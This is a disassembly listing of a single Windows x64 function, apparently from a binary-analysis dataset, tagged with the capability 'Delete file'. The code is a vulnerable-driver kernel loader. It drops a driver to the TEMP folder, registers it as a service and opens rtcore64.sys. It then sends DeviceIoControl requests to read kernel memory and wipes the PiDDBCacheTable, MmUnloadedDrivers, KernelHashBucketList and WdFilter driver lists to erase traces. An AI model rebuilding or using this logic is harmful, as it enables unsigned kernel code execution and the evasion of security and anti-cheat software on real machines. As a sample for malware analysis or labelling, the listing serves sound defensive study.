Function at 0x140004700
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x200]
sub rsp, 0x300
mov rax, qword [0x140023040]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
movzx r12d, cl
xor r13d, r13d
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea r8, str.systemroot
lea rdx, [rbp + 0x70]
lea rcx, [rbp - 0x78]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
mov rdx, qword [rbp - 0x78]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rdx + r8], r13b
jne 0x140004790
lea rcx, [rsp + 0x40]
call fcn.14000cb20
nop
mov r8d, 0x14
lea rdx, str.System32win32k.sys
lea rcx, [rsp + 0x40]
call fcn.14000a220
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x60], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140004819
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004814
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004814
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400140f0
movdqa xmm0, xmmword [0x14001d660]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rax
lea rax, [rsp + 0x60]
mov qword [rbp - 0x70], rax
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
mov r8d, 0x2b
lea rdx, str.https:__msdl.microsoft.com_download_symbols
lea rcx, [rsp + 0x60]
call fcn.14000cb20
nop
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x20]
call fcn.140009c20
nop
lea r8, [rsp + 0x60]
mov rdx, rax
lea rcx, [rbp - 0x40]
call fcn.140003cd0
nop
lea rcx, [rbp - 0x40]
call fcn.140003e00
test al, al
jne 0x1400048bc
lea rdx, str.____Failed_to_Load_PDB
jmp 0x1400049d1
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
mov r8d, 0x16
lea rdx, str.NtUserSetGestureConfig
lea rcx, [rsp + 0x40]
call fcn.14000cb20
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x84], xmm0
movups xmmword [rbp + 0x94], xmm0
movups xmmword [rbp + 0xa4], xmm0
movups xmmword [rbp + 0xb4], xmm0
movups xmmword [rbp + 0xc4], xmm0
mov dword [rbp + 0xd4], eax
mov dword [rbp + 0x80], 0x58
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
lea r8, [rbp + 0x80]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.dbghelp.dll_SymFromName]
mov rdx, qword [rsp + 0x58]
test eax, eax
jne 0x14000497e
cmp rdx, 0xf
jbe 0x1400049ca
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004977
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400049b9
call fcn.1400140f0
jmp 0x1400049ca
mov esi, dword [rbp + 0xb8]
sub esi, dword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x1400049c5
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400049c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400049c0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400140f0
cmp esi, 0xffffffff
jne 0x1400049f2
lea rdx, str.____Failed_to_Load_Symbol_of_NtUserSetGestureConfig
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a4f0
lea rdx, [0x14000a6d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x140004ff2
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
imul eax, ebx
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x140023bb0], xmm0
movups xmmword [0x140023bc0], xmm0
movups xmmword [0x140023bd0], xmm0
movups xmmword [0x140023be0], xmm0
movups xmmword [0x140023bf0], xmm0
movups xmmword [0x140023c00], xmm0
mov dword [0x140023c10], eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
shl ecx, 2
sub r8d, ecx
add r8d, 0xa
movsxd r14, r8d
test r8d, r8d
jle 0x140004abd
mov rbx, r13
lea r15, [0x140000000]
movabs r13, 0x4ec4ec4ec4ec4ec5
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movsxd rcx, eax
mov rax, r13
mul rcx
shr rdx, 4
imul rax, rdx, 0x34
sub rcx, rax
movzx eax, byte [rcx + r15 + 0x1c2c0]
mov byte [rbx + r15 + 0x23bb0], al
inc rbx
cmp rbx, r14
jl 0x140004a87
xor r13d, r13d
lea rdx, str.____Loading_vulnerable_driver__Name:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a4f0
mov rbx, rax
lea rcx, [rsp + 0x40]
call fcn.1400041e0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 7
jbe 0x140004aec
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.14000d6c0
lea rdx, [0x14000a6d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140004b4d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004b48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004b48
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400140f0
lea rcx, [rbp - 0x68]
call fcn.140004400
nop
cmp qword [rbp - 0x58], 0
jne 0x140004b86
lea rdx, str.____Cant_find_TEMP_folder
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a4f0
lea rdx, [0x14000a6d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x140004f9e
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 7
cmova rcx, qword [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xe0]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 7
cmova rdx, qword [rbp - 0x68]
lea rcx, [rbp + 0xe0]
call fcn.140008af0
nop
mov r8d, 0x36c8
lea rdx, [0x1400189c0]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
lea rcx, [rbp + 0xe8]
test al, al
je 0x140004c43
call fcn.14000a020
test rax, rax
jne 0x140004c2b
mov rax, qword [rbp + 0xe0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xe0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0xe0]
call fcn.140004120
lea rdx, str.____Failed_to_create_vulnerable_driver_file
jmp 0x140004b65
call fcn.14000a020
test rax, rax
jne 0x140004c70
mov rax, qword [rbp + 0xe0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xe0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0xe0]
call fcn.140004120
lea rcx, [rbp - 0x68]
call fcn.140012a10
test al, al
jne 0x140004cc5
lea rdx, str.____Failed_to_register_and_start_service_for_the_vulnerable_driver
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a4f0
lea rdx, [0x14000a6d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 7
cmova rcx, qword [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wremove]
jmp 0x140004f9e
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, [0x1400169f0]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x140023c20], rax
cmp rax, 0xffffffffffffffff
jne 0x140004d0b
lea rdx, str.____Failed_to_load_driver_rtcore64.sys
jmp 0x140004f79
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
mov r8d, 0xc
lea rdx, [0x140016d10]
lea rcx, [rsp + 0x60]
call fcn.14000cb20
nop
lea rcx, [rsp + 0x60]
call fcn.1400133d0
mov qword [0x140023ba8], rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140004d8c
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004d80
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004d80
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400140f0
mov rax, qword [0x140023ba8]
test rax, rax
jne 0x140004d9d
lea rdx, str.____Failed_to_get_ntoskrnl.exe
jmp 0x140004f79
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
mov r8d, 0xa
lea rdx, str.win32k.sys
lea rcx, [rsp + 0x60]
call fcn.14000cb20
nop
lea rcx, [rsp + 0x60]
call fcn.1400133d0
mov rbx, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140004e13
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004e0e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004e0e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400140f0
test rbx, rbx
jne 0x140004e30
lea rdx, str.____win32k.sys_not_found
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a8f0
jmp 0x140004f95
movsxd rdx, esi
add rdx, rbx
lea rax, [0x140016d8c]
mov qword [rsp + 0x20], rax
lea r9, [0x140016d90]
mov r8d, pe_nt_image_headers64
call fcn.140007c20
mov r14, rax
test rax, rax
je 0x140004f72
mov dword [rbp - 0x70], r13d
mov rbx, r13
lea rcx, [rbp - 0x70]
mov r15, rax
sub r15, rcx
add r15, 3
nop word [rax + rax]
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x30], r13
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3c], xmm0
mov dword [rbp + 0x4c], r13d
lea rsi, [rbp - 0x70]
add rsi, rbx
lea rax, [rsi + r15]
mov qword [rbp + 0x28], rax
mov dword [rbp + 0x38], 1
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x30
lea rax, [rbp + 0x20]
mov qword [rsp + 0x20], rax
mov r9d, 0x30
lea r8, [rbp + 0x20]
mov edx, 0x80002048
mov rcx, qword [0x140023c20]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x140004f72
movzx eax, byte [rbp + 0x3c]
mov byte [rsi], al
inc rbx
cmp rbx, 4
jb 0x140004e80
movsxd rcx, dword [rbp - 0x70]
add rcx, 7
add rcx, r14
mov qword [0x140023ba0], rcx
test r12b, r12b
je 0x140004f6d
call fcn.1400073d0
test al, al
jne 0x140004f21
lea rdx, str.____Failed_to_ClearPiDDBCacheTable
jmp 0x140004f79
mov rcx, rdi
call fcn.140007fc0
test al, al
jne 0x140004f36
lea rdx, str.____Failed_to_ClearKernelHashBucketList
jmp 0x140004f79
mov rcx, qword [0x140023c20]
call fcn.140006930
test al, al
jne 0x140004f4f
lea rdx, str.____Failed_to_ClearMmUnloadedDrivers
jmp 0x140004f79
call fcn.140005130
test al, al
jne 0x140004f6d
lea rdx, str.____Failed_to_ClearWdFilterDriverList
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a8f0
jmp 0x140004f85
mov rdi, r13
jmp 0x140004f9e
lea rdx, str.____NtUserSetGestureConfig_not_found
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000a4f0
lea rdx, [0x14000a6d0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, rdi
call fcn.140005ba0
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 7
jbe 0x140004fe1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004fdc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004fdc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400140f0
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x50], 7
mov word [rbp - 0x68], r13w
cmp byte [rbp - 0x1f], 0
je 0x140005025
mov edx, 0x10000000
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.dbghelp.dll_SymUnloadModule64]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.dbghelp.dll_SymCleanup]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x10]
cmp rdx, 0xf
jbe 0x14000505c
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005057
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000509e
call fcn.1400140f0
mov qword [rbp + 8], r13
mov qword [rbp + 0x10], 0xf
mov byte [rbp - 8], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x1400050aa
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400050a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400050a5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400140f0
movdqa xmm0, xmmword [0x14001d660]
movdqa xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x1400050f9
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400050f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400050f4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400140f0
mov rax, rdi
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.1400140d0
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret